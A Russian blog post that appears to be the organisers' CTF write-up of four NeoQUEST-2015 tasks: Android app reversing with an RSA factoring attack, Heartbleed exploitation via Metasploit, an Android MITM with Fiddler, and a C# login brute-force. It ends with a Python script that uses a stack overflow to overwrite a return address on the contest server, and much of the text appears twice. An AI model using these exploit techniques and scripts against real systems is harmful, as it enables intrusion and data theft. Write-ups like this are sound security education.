Привет, Хабр! Близится лето, а вместе с ним — «очная ставка» NeoQUEST-2015. Регистрация на мероприятие уже открыта, и вход — бесплатный. Гостей ждут доклады и мастерклассы по кибербезопасности, конкурсы, подарки и многое другое! Все это — уже в июле, а мы продолжаем разбор заданий online-этапа NeoQUEST-2015. В этой статье:
Итак, изначально мы имеем файл game.apk, понятно, что это ни что иное, как приложение для Android.
Сначала стоит его запустить – и мы видим, что это простая детская игра «пятнашки». Неужели нужно собрать картинку, чтобы пройти задание на ctf? Именно так! Собрать картинку можно либо в самом приложении, либо вытащив картинки из ресурсов приложения (директории res/drawable) и сложив паpзл в графическом редакторе. Собрали картинку и получили какую-то строку «10838670582455823456841»:
Что делать дальше? Первая мысль — отреверсить Android-приложение. Вытаскиваем из приложения файл classes.dex, это байт-код программы, используемой в Android. Затем при помощи утилиты dex2jar получаем файл classes.dex.dex2jar.jar, который удобно смотреть при помощи программы jd-gui.
Входная точка – класс MyActivity:
Видно, что при нажатии на кнопку идет вызов InputOne. Посмотрим, что за класс InputOne:
В данном классе берется строка, введенная в поле ввода, проверяется наличие файла «/sdcard/key.txt». Если он есть, вызывается метод Decrypt класса Simple, если его нет, вызывается метод get того же класса. В каждый из этих методов передается введенная в поле ввода строка.
Файла такого у нас нет – смотрим метод get.
Данный метод формирует GET-запрос вида «http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?message=’введенная строка’», а результат, если это не «Error», сохраняет в файл «/sdcard/key.txt».
Теперь необходимо ввести полученный из игры код в приложение, и оно скачает файл key.txt на карту памяти устройства. Файл имеет следующий вид:
5890287499022904927250918089905639153507
3148792732424313619076650032785631134
key=a0bf0f01485a59addf4f9374e7c2a7b5
Первый ключ добыт, теперь задание на внимательность и немного криптографии. У нас остался неизведанным метод Decrypt класса Simple, вызов его происходит, если заполнить ту самую строку ввода при наличии файла «/sdcard/key.txt». Но для начала разберемся, что там происходит.
Итак, перед нами обычный RSA, мы знаем открытый ключ (e,n), сразу возникает желание найти d, ввести его в строку ввода и получить ключ, так и есть, но внимательность превыше всего. Давайте посмотрим, что тут происходит.
Пусть первая строка нашего файла это sign, а вторая mes. В программе проверяется, что mes ? signe(mod n), после этого вычисляется mesd(mod n). А теперь подумаем, что это такое. Был у нас ключ key, его зашифровали с помощью d и получили mes ? keyd(mod n), а потом подписали mes ? signe(mod n) и все это записали в файл. Немного внимательности и мы видим, что key ? sign(mod n), а значит, ключом является вторая строка в файле, а именно, «3148792732424313619076650032785631134 = 0х025e6f77c39943f83d1d2f8770a1a79». А теперь второй тест на внимательность: все ключи – 128-битные хеш-значения, значит, ключом является 025e6f77c39943f83d1d2f8770a1a79, и только так!
Вариант прохождения для менее внимательных – разложить n на множители 8286006298514071265735892332006920710569 = 81227239281928373027*102010192292200202947, посчитать функцию Эйлера от n:
?(n) = (81227239281928373027-1)*(102010192292200202947-1)= 8286006298514071265552654900432792134596
Осталось только посчитать d, как мультипликативно обратное к e по модулю n: d = 4708825181381486710928551540092728302699. Вводим d в строку ввода приложение и получаем 25e6f77c39943f83d1d2f8770a1a79, дописываем первый 0 и получаем ключ – 025e6f77c39943f83d1d2f8770a1a79.
Таким образом, участникам необходимо было собрать картинку в игре «Пятнашки», немного пореверсить приложение, ввести ключ в найденную строку ввода и либо найти ошибку в реализации схемы RSA (будучи очень внимательными!), либо провести атаку разложения модуля. Кстати, посмотреть, как участники квеста проходили данное задание, можно здесь и тут (по второй ссылке находится достаточно большой обзор нескольких заданий NeoQUEST-2015).
По заданию, участнику Neoquest`а выдается файл сетевого дампа. Открыв его, например, в Wireshark мы увидим следующие пакеты:
Из данного дампа мы видим, что здесь собран https трафик между двумя узлами, клиент осуществляет соединение с сервером с IP-адресом 79.175.2.84 и используется стандартный порт 443. Пытаемся зайти на это сервер и получаем следующий ответ:
Sorry, we don't know you
Следующим шагом логично было бы провести сканирование данного сервера, с целью поиска уязвимостей. А вдруг нам повезет, и мы найдем какую-нибудь лазейку! Вспомнив про 443 порт, проверим первым делом наш сервер на наличие известной уязвимости SSL Heartbleed. Для этого можем использовать соответствующий скрипт из Nmap Scripting Engine:
Удача! Мы действительно нашли известную уязвимость в SSL — HeartBleed.
Для нас самое важное, что, проэксплуатировав ее, мы сможем получить секретный ключ сервера и расшифровать наш дамп. Сказано — сделано! Берем Metasploit, запускаем скрипт openssl_heartbleed — и такими нехитрыми движениями получаем наш секретный ключ:
Первый шаг сделан, получив ключ, мы можем расшифровать трафик и получить больше информации из него. Вернемся к Wireshark`у и загрузим наш ключ для расшифровывания трафика. После расшифрования мы получим следующее:
В расшифрованном дампе нас прежде всего интересует GET-запрос. Мы видим, что там передаются Cookie: id и hash. Видимо, они и используются для аутентификации.
Также привлекает внимание необычный User-Agent: “GRAND LODGE”. Отправив пакет с такими же cookies и User-Agent, мы получим следующий ответ:
Перейдя по ссылке, находим наш искомый ключ!
Скачиваем из задания APK-файл ssviewer.apk и устанавливаем на эмулятор Android. Запустив приложение, видим интерфейс:
Нажимаем на кнопку:
Сообщение «200 ok» подсказывает о сетевом взаимодействии приложения с каким-то сервером. Попробуем посмотреть сниффером (например, возьмем Fiddler). Видим обращение к db765.ru. Попытаемся провести MITM-атаку.
Настроим Fiddler и экспортируем его корневой сертификат:
После этого, добавим сертификат в Android к доверенным. Установим прокси для прослушивания трафика в Fiddler.
Снова запускаем приложение и ловим ответ сервера в сниффере.
В ответе видим base64. Распаковываем и получаем zip-архив, в котором находится картинка с ответом «SSLK3YDB765»!
Как показала практика, с данным заданием справилось большое количество участников, а наш победитель — n0n3m4 даже написал write-up с интригующим названием «NeoQUEST 2015: как решить raSSLedovanie за 13 минут».
Все, что было дано участникам — это два файла: login.exe и файл формата .so. После запуска login.exe приложение просит ввести логин:
Возьмем .NET Reflector и декомпилируем его. После недолгих поисков найдем вот такой код:
Нас интересует строка:
Код проверяет массив hashes на наличие хеша от введенного текущего логина.
Функция получения хеша:
Массив hashes:
Программа подбора логина на Python 3 может выглядеть следующим образом:
В результате она выведет на экран ключ: 2b638b6da52bfad2d99dbab4018237df.
После удачного подбора ключа в первой части (Приложение C#), для нас открывается консоль telnet, с предложением ввести пароль. Также нам понадобится библиотека libtest.so.
Намного удобнее использовать Putty (IP и порт смотрим в .NET Reflector)
Дизассемблируем libtest.so. Первой бросается в глаза функция StartTest.
Код читает файл /home/srv/pass.txt и сравнивает со строкой введенной пользователем. Если пароли совпадают то на экран выводится текст из файла /home/srv/flag2.txt. В любом другом случаем цикл проверки повторяется.
Очевидно, что при введении пользователем пароля длиной более 16 символов перезапишется стековая переменная с паролем, прочитанным из файла:
Оригинальная структура на С:
Для получения флага достаточно ввести при первом запросе «aaaaaaaaaaaaaaaaa» (17 символов) и 1 перезаписанный символ при втором:
Второй флаг: 3ed54ac12757f4c2b4fabd64d41de42d
Для получения третьего ключа вернемся к листингу libtest.so.
Подозрительной кажется функция GetFlag:
Код читает файл «/home/srv/flag3.txt» и выводит на экран. Но функция ни где не вызывается!
Из второй части мы знаем, что приложение уязвимо для переполнения стека. Попробуем написать shellcode для вызова функции GetFlag.
Заполним entered_pass:
Заполним correct_pass:
Далее нужно перезаписать адрес возврата так, чтобы выполнилась функция GetFlag.
Для того, чтобы определить адрес функции GetFlag, потребуется вывод backtrace, который присутствует как подсказка, если ввести пароль длиной более 16 символов.
Итак, из backtrace можно узнать адрес StartTest, и уже относительно этой функции рассчитать адрес GetFlag. Так как адреса меняются при каждом запуске, нужно на лету получать адрес StartTest и рассчитывать адрес GetFlag.
Код получения флага на Python 2.7, может выглядеть так:
Третий флаг: 1946fcc08e026023fd53f935769c7f52
Дальше — больше! Впереди — разбор остальных заданий NeoQUEST-2015, после которых мы уже начнем приоткрывать завесу тайны над тем, что же ждет гостей на июльской «очной ставке»!
- «Mystic Square» — «пятнашки» на Android и атака на криптосистему RSA
- «Масон-connect» — анализ дампа сетевого трафика с последующей реализацией уязвимости HeartBleed
- «raSSLedovanie» — Man-in-the-Middle атака на Android
- «Дружба и братство» — реверс приложения на C#
1. «Mystic Square» — «пятнашки» на Android
Собираем «пятнашки»
Итак, изначально мы имеем файл game.apk, понятно, что это ни что иное, как приложение для Android.
Сначала стоит его запустить – и мы видим, что это простая детская игра «пятнашки». Неужели нужно собрать картинку, чтобы пройти задание на ctf? Именно так! Собрать картинку можно либо в самом приложении, либо вытащив картинки из ресурсов приложения (директории res/drawable) и сложив паpзл в графическом редакторе. Собрали картинку и получили какую-то строку «10838670582455823456841»:
Реверс Android-приложения
Что делать дальше? Первая мысль — отреверсить Android-приложение. Вытаскиваем из приложения файл classes.dex, это байт-код программы, используемой в Android. Затем при помощи утилиты dex2jar получаем файл classes.dex.dex2jar.jar, который удобно смотреть при помощи программы jd-gui.
Входная точка – класс MyActivity:
public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent)
{
switch (paramInt)
{
default:
return super.onKeyDown(paramInt, paramKeyEvent);
case 82:
}
startActivity(new Intent(this, InputOne.class));
return true;
}
Видно, что при нажатии на кнопку идет вызов InputOne. Посмотрим, что за класс InputOne:
public class InputOne extends Activity
{
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130903041);
EditText localEditText = (EditText)findViewById(2131034112);
((Button)findViewById(2131034113)).setOnClickListener(new View.OnClickListener(localEditText)
{
public void onClick(View paramView)
{
String str1 = this.val$editText.getText().toString();
if (new File("/sdcard/key.txt").exists())
{
String str2 = Simple.Decrypt(str1);
Toast.makeText(InputOne.this.getBaseContext(), str2, 1).show();
return;
}
try
{
Simple.get(str1);
return;
}
catch (IOException localIOException)
{
localIOException.printStackTrace();
}
}
});
}
}
В данном классе берется строка, введенная в поле ввода, проверяется наличие файла «/sdcard/key.txt». Если он есть, вызывается метод Decrypt класса Simple, если его нет, вызывается метод get того же класса. В каждый из этих методов передается введенная в поле ввода строка.
Файла такого у нас нет – смотрим метод get.
public static void get(String paramString)
throws IOException
{
QueryString localQueryString = new QueryString().add("message", paramString);
if (localQueryString == null)
Log.e("Info", "NULL");
for (URLConnection localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php").openConnection(); ; localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?" + localQueryString).openConnection())
{
localURLConnection.getInputStream();
String str = readStreamToString(localURLConnection.getInputStream(), "UTF-8");
Log.e("Info", str);
if (!str.equals("Error"))
{
FileWriter localFileWriter = new FileWriter(new File("/sdcard/key.txt"));
localFileWriter.write(str);
localFileWriter.close();
}
return;
}
}
Данный метод формирует GET-запрос вида «http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?message=’введенная строка’», а результат, если это не «Error», сохраняет в файл «/sdcard/key.txt».
Теперь необходимо ввести полученный из игры код в приложение, и оно скачает файл key.txt на карту памяти устройства. Файл имеет следующий вид:
5890287499022904927250918089905639153507
3148792732424313619076650032785631134
key=a0bf0f01485a59addf4f9374e7c2a7b5
«Внимание — криптография!»
Первый ключ добыт, теперь задание на внимательность и немного криптографии. У нас остался неизведанным метод Decrypt класса Simple, вызов его происходит, если заполнить ту самую строку ввода при наличии файла «/sdcard/key.txt». Но для начала разберемся, что там происходит.
public static String Decrypt(String paramString)
{
ArrayList localArrayList = new ArrayList();
try
{
Scanner localScanner = new Scanner(new File("/sdcard/key.txt"));
while (localScanner.hasNextLine())
localArrayList.add(localScanner.nextLine());
}
catch (FileNotFoundException localFileNotFoundException)
{
return "0";
}
BigInteger localBigInteger = new BigInteger((String)localArrayList.get(0));
if (new BigInteger((String)localArrayList.get(1)).modPow(e, n).equals(localBigInteger))
{
new File("/sdcard/key.txt").delete();
return localBigInteger.modPow(new BigInteger(paramString), n).toString(16);
}
return "0";
}
Итак, перед нами обычный RSA, мы знаем открытый ключ (e,n), сразу возникает желание найти d, ввести его в строку ввода и получить ключ, так и есть, но внимательность превыше всего. Давайте посмотрим, что тут происходит.
Пусть первая строка нашего файла это sign, а вторая mes. В программе проверяется, что mes ? signe(mod n), после этого вычисляется mesd(mod n). А теперь подумаем, что это такое. Был у нас ключ key, его зашифровали с помощью d и получили mes ? keyd(mod n), а потом подписали mes ? signe(mod n) и все это записали в файл. Немного внимательности и мы видим, что key ? sign(mod n), а значит, ключом является вторая строка в файле, а именно, «3148792732424313619076650032785631134 = 0х025e6f77c39943f83d1d2f8770a1a79». А теперь второй тест на внимательность: все ключи – 128-битные хеш-значения, значит, ключом является 025e6f77c39943f83d1d2f8770a1a79, и только так!
Вариант прохождения для менее внимательных – разложить n на множители 8286006298514071265735892332006920710569 = 81227239281928373027*102010192292200202947, посчитать функцию Эйлера от n:
?(n) = (81227239281928373027-1)*(102010192292200202947-1)= 8286006298514071265552654900432792134596
Осталось только посчитать d, как мультипликативно обратное к e по модулю n: d = 4708825181381486710928551540092728302699. Вводим d в строку ввода приложение и получаем 25e6f77c39943f83d1d2f8770a1a79, дописываем первый 0 и получаем ключ – 025e6f77c39943f83d1d2f8770a1a79.
Таким образом, участникам необходимо было собрать картинку в игре «Пятнашки», немного пореверсить приложение, ввести ключ в найденную строку ввода и либо найти ошибку в реализации схемы RSA (будучи очень внимательными!), либо провести атаку разложения модуля. Кстати, посмотреть, как участники квеста проходили данное задание, можно здесь и тут (по второй ссылке находится достаточно большой обзор нескольких заданий NeoQUEST-2015).
2. «Масон-connect» — реализуем HeartBleed
По заданию, участнику Neoquest`а выдается файл сетевого дампа. Открыв его, например, в Wireshark мы увидим следующие пакеты:
Из данного дампа мы видим, что здесь собран https трафик между двумя узлами, клиент осуществляет соединение с сервером с IP-адресом 79.175.2.84 и используется стандартный порт 443. Пытаемся зайти на это сервер и получаем следующий ответ:
Sorry, we don't know you
Следующим шагом логично было бы провести сканирование данного сервера, с целью поиска уязвимостей. А вдруг нам повезет, и мы найдем какую-нибудь лазейку! Вспомнив про 443 порт, проверим первым делом наш сервер на наличие известной уязвимости SSL Heartbleed. Для этого можем использовать соответствующий скрипт из Nmap Scripting Engine:
Удача! Мы действительно нашли известную уязвимость в SSL — HeartBleed.
Для нас самое важное, что, проэксплуатировав ее, мы сможем получить секретный ключ сервера и расшифровать наш дамп. Сказано — сделано! Берем Metasploit, запускаем скрипт openssl_heartbleed — и такими нехитрыми движениями получаем наш секретный ключ:
Первый шаг сделан, получив ключ, мы можем расшифровать трафик и получить больше информации из него. Вернемся к Wireshark`у и загрузим наш ключ для расшифровывания трафика. После расшифрования мы получим следующее:
В расшифрованном дампе нас прежде всего интересует GET-запрос. Мы видим, что там передаются Cookie: id и hash. Видимо, они и используются для аутентификации.
Также привлекает внимание необычный User-Agent: “GRAND LODGE”. Отправив пакет с такими же cookies и User-Agent, мы получим следующий ответ:
Перейдя по ссылке, находим наш искомый ключ!
3. «raSSLedovanie» — Man-in-the-Middle атака на Android
Скачиваем из задания APK-файл ssviewer.apk и устанавливаем на эмулятор Android. Запустив приложение, видим интерфейс:
Нажимаем на кнопку:
Сообщение «200 ok» подсказывает о сетевом взаимодействии приложения с каким-то сервером. Попробуем посмотреть сниффером (например, возьмем Fiddler). Видим обращение к db765.ru. Попытаемся провести MITM-атаку.
Настроим Fiddler и экспортируем его корневой сертификат:
После этого, добавим сертификат в Android к доверенным. Установим прокси для прослушивания трафика в Fiddler.
Снова запускаем приложение и ловим ответ сервера в сниффере.
В ответе видим base64. Распаковываем и получаем zip-архив, в котором находится картинка с ответом «SSLK3YDB765»!
Как показала практика, с данным заданием справилось большое количество участников, а наш победитель — n0n3m4 даже написал write-up с интригующим названием «NeoQUEST 2015: как решить raSSLedovanie за 13 минут».
4. «Дружба и братство» — реверс приложения на C#
Все, что было дано участникам — это два файла: login.exe и файл формата .so. После запуска login.exe приложение просит ввести логин:
Часть первая
Возьмем .NET Reflector и декомпилируем его. После недолгих поисков найдем вот такой код:
private void textBox1_TextChanged(object sender, EventArgs e)
{
string text = this.textBox1.Text;
if (text.Length == 0)
{
this.label1.Text = "Enter you login";
}
else if (!this.hashes.Contains<string>(this.GetHashString(text)))
{
this.label1.Text = "Incorrect login!";
}
else if (text.Length == 0x20)
{
this.label1.Text = "You have successfully logged in!";
this.groupBox1.Enabled = false;
this.tcpSocket = new TcpClient(this.host, this.port);
this.groupBox2.Visible = true;
this.timer1.Start();
}
else
{
this.label1.Text = "Enter next character of your login";
}
}
Нас интересует строка:
else if (!this.hashes.Contains<string>(this.GetHashString(text)))
Код проверяет массив hashes на наличие хеша от введенного текущего логина.
Функция получения хеша:
private string GetHashString(string s)
{
byte[] bytes = Encoding.ASCII.GetBytes(s);
byte[] buffer2 = new MD5CryptoServiceProvider().ComputeHash(bytes);
string str = string.Empty;
foreach (byte num in buffer2)
{
str = str + string.Format("{0:x2}", num);
}
return str;
}
Массив hashes:
this.hashes = new string[] {
"dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2",
"ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1"
};
Программа подбора логина на Python 3 может выглядеть следующим образом:
import hashlib
hashes = (
'dfa7b3505d612417911b86b89f869d6c', '73b6951965fda60be0c69da1411e59af',
'4ad9eab6a9bd83eec4723d05444059e2', '4f60dca64aedd943e4fccb8bbf18e25c',
'9ed2ac984ed7182a4974a4bab0ad8fcd', '826fc5d7998c16eeb77abc00702a00ab',
'4ec559ee5a6249f0c69ab8ff9b804072', '0eebdd1e6d919d04cdee9646607786c3',
'172cfbcb9d8de7425233fd7183f43c21', '7174ce70d0702083e26d285196d36cf2',
'77526663ec282d1d1f62229ab980edd5', 'c7f399fb9f981ba2445ba573ec668cef',
'efa9d9d29367af2b3c1cc1494f882f2d', '01e5f7d323222fd161fcbd0b32f26b2b',
'83daec0d569704618ecf60d19b031082', 'a2c2c74263df7545cb857b69ce5820b2',
'ac13be701bc79036602ae9f355e6c389', 'd33bf0c58b48508c706d32c6e8a171d4',
'138378fc00ad7d559f0418019e750b19', '39eb98f5edec84e35f52feff51c94a25',
'3ff5db4ebc8437f338ce978fddcfb334', 'e1cd7a2a000a2fe69f909a2e46dab073',
'bf80eafce6f8d51220dd6603295852d5', 'f8bc2fbe2c937ea5b5e8839cbea69491',
'e8bb39c756ad2b46a80b3f07c8422037', 'a3d4832c6cc0b51163e04301e6a17b55',
'bc7a6cff6c8507488e186d378ec12b38', 'deaeb78d2c64a16cecd1a718e226db52',
'c81e728d9d4c2f636f067f89cc14862c', '7742638106aea26564f3f6fa02fe1265',
'7c8104aa5e88bee40658c61c5f869284', '71e157ffdf45f4946e95d0ac115466a1'
)
login = ''
chars = 'abcdef1234567890'
for i in range(32):
for j in range(len(chars)):
hash = hashlib.md5((login + chars[j]).encode('utf-8')).hexdigest()
if hash in hashes:
login += chars[j]
print(login)
В результате она выведет на экран ключ: 2b638b6da52bfad2d99dbab4018237df.
Часть вторая
После удачного подбора ключа в первой части (Приложение C#), для нас открывается консоль telnet, с предложением ввести пароль. Также нам понадобится библиотека libtest.so.
Намного удобнее использовать Putty (IP и порт смотрим в .NET Reflector)
this.host = "79.175.2.85";
this.port = 0x1f90;
Дизассемблируем libtest.so. Первой бросается в глаза функция StartTest.
public StartTest
StartTest proc near
s2= byte ptr -20h
push rbp
mov rbp, rsp
sub rsp, 20h
lea rdi, aHello ; "\nHello!\n"
call _puts
mov rax, cs:pGetFlag_ptr
mov rdx, cs:GetFlag_ptr
mov [rax], rdx
lea rsi, modes ; "r"
lea rdi, aHomeSrvPass_tx ; "/home/srv/pass.txt"
call _fopen
…
Код читает файл /home/srv/pass.txt и сравнивает со строкой введенной пользователем. Если пароли совпадают то на экран выводится текст из файла /home/srv/flag2.txt. В любом другом случаем цикл проверки повторяется.
loc_DD4: ; seconds
mov edi, 1
call _sleep
lea rax, [rbp+s2]
lea rdx, [rbp+s2]
add rdx, 10h
mov rsi, rax ; s2
mov rdi, rdx ; s1
call _strcmp
test eax, eax
jnz short loc_D7A
Очевидно, что при введении пользователем пароля длиной более 16 символов перезапишется стековая переменная с паролем, прочитанным из файла:
mov rax, cs:stdin_ptr
mov rdx, [rax] ; stream
lea rax, [rbp+s2]
mov esi, 64h ; n
mov rdi, rax ; s
call _fgets
Оригинальная структура на С:
struct info {
char entered_pass[16];
char correct_pass[16];
};
Для получения флага достаточно ввести при первом запросе «aaaaaaaaaaaaaaaaa» (17 символов) и 1 перезаписанный символ при втором:
Второй флаг: 3ed54ac12757f4c2b4fabd64d41de42d
Часть третья
Для получения третьего ключа вернемся к листингу libtest.so.
Подозрительной кажется функция GetFlag:
public GetFlag
GetFlag proc near
s= byte ptr -70h
stream= qword ptr -8
push rbp
mov rbp, rsp
sub rsp, 70h
lea rsi, modes ; "r"
lea rdi, filename ; "/home/srv/flag3.txt"
call _fopen
…
Код читает файл «/home/srv/flag3.txt» и выводит на экран. Но функция ни где не вызывается!
Из второй части мы знаем, что приложение уязвимо для переполнения стека. Попробуем написать shellcode для вызова функции GetFlag.
Заполним entered_pass:
\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
Заполним correct_pass:
\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
Далее нужно перезаписать адрес возврата так, чтобы выполнилась функция GetFlag.
Для того, чтобы определить адрес функции GetFlag, потребуется вывод backtrace, который присутствует как подсказка, если ввести пароль длиной более 16 символов.
Итак, из backtrace можно узнать адрес StartTest, и уже относительно этой функции рассчитать адрес GetFlag. Так как адреса меняются при каждом запуске, нужно на лету получать адрес StartTest и рассчитывать адрес GetFlag.
Код получения флага на Python 2.7, может выглядеть так:
import telnetlib
import re
tn = telnetlib.Telnet('79.175.2.85', 8080)
read = tn.read_until(b"password: ").decode()
print(read)
tn.write(b'aaaaaaaaaaaaaaaaa\r\n')
read = tn.read_until(b"password: ").decode()
print(read)
p = re.compile(r'\(StartTest\+0xd0\) \[(.+?)\]', re.MULTILINE | re.DOTALL)
m = p.search(read)
addr = (hex(int(m.group(1), 16) - 208 - 271))[2:]
raddr = ''
raddr += addr[10];
raddr += addr[11];
raddr += addr[8];
raddr += addr[9];
raddr += addr[6];
raddr += addr[7];
raddr += addr[4];
raddr += addr[5];
raddr += addr[2];
raddr += addr[3];
raddr += addr[0];
raddr += addr[1];
raddr = raddr.decode('hex')
tn.write(b'\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + raddr + '\x00\x00\n')
read = tn.read_until(b"password: ").decode()
print("")
print(read)
Третий флаг: 1946fcc08e026023fd53f935769c7f52
To be continued...
Дальше — больше! Впереди — разбор остальных заданий NeoQUEST-2015, после которых мы уже начнем приоткрывать завесу тайны над тем, что же ждет гостей на июльской «очной ставке»!
mark_ablov
Вот это у меня был провал с RSA, сразу было видно что это процесс подписи RSA, особенно в dex-ассемблере.
Но я упорно вбивал 25e6f77c39943f83d1d2f8770a1a79, а не 025e6f77c39943f83d1d2f8770a1a79.
Ужас.
raSSLedovanie, имхо, было проще расковырять. Насколько я помню, строки там шифровались, но как-то тупо, и простой IDA script в 5 строчек всё показывал.
Еще жаль что не дожал SSL-дамп. HeartBleed очевиден был, но вот какой-то левый Pyhton-скрипт не смог мне сдампить private key, хотя и обещал. Metasplot'а не стояло.
mark_ablov
Кстати, скрипт для «Дружба и братство» на PHP:
NWOcs Автор
Да, в ловушку с ноликом в RSA многие попались! :)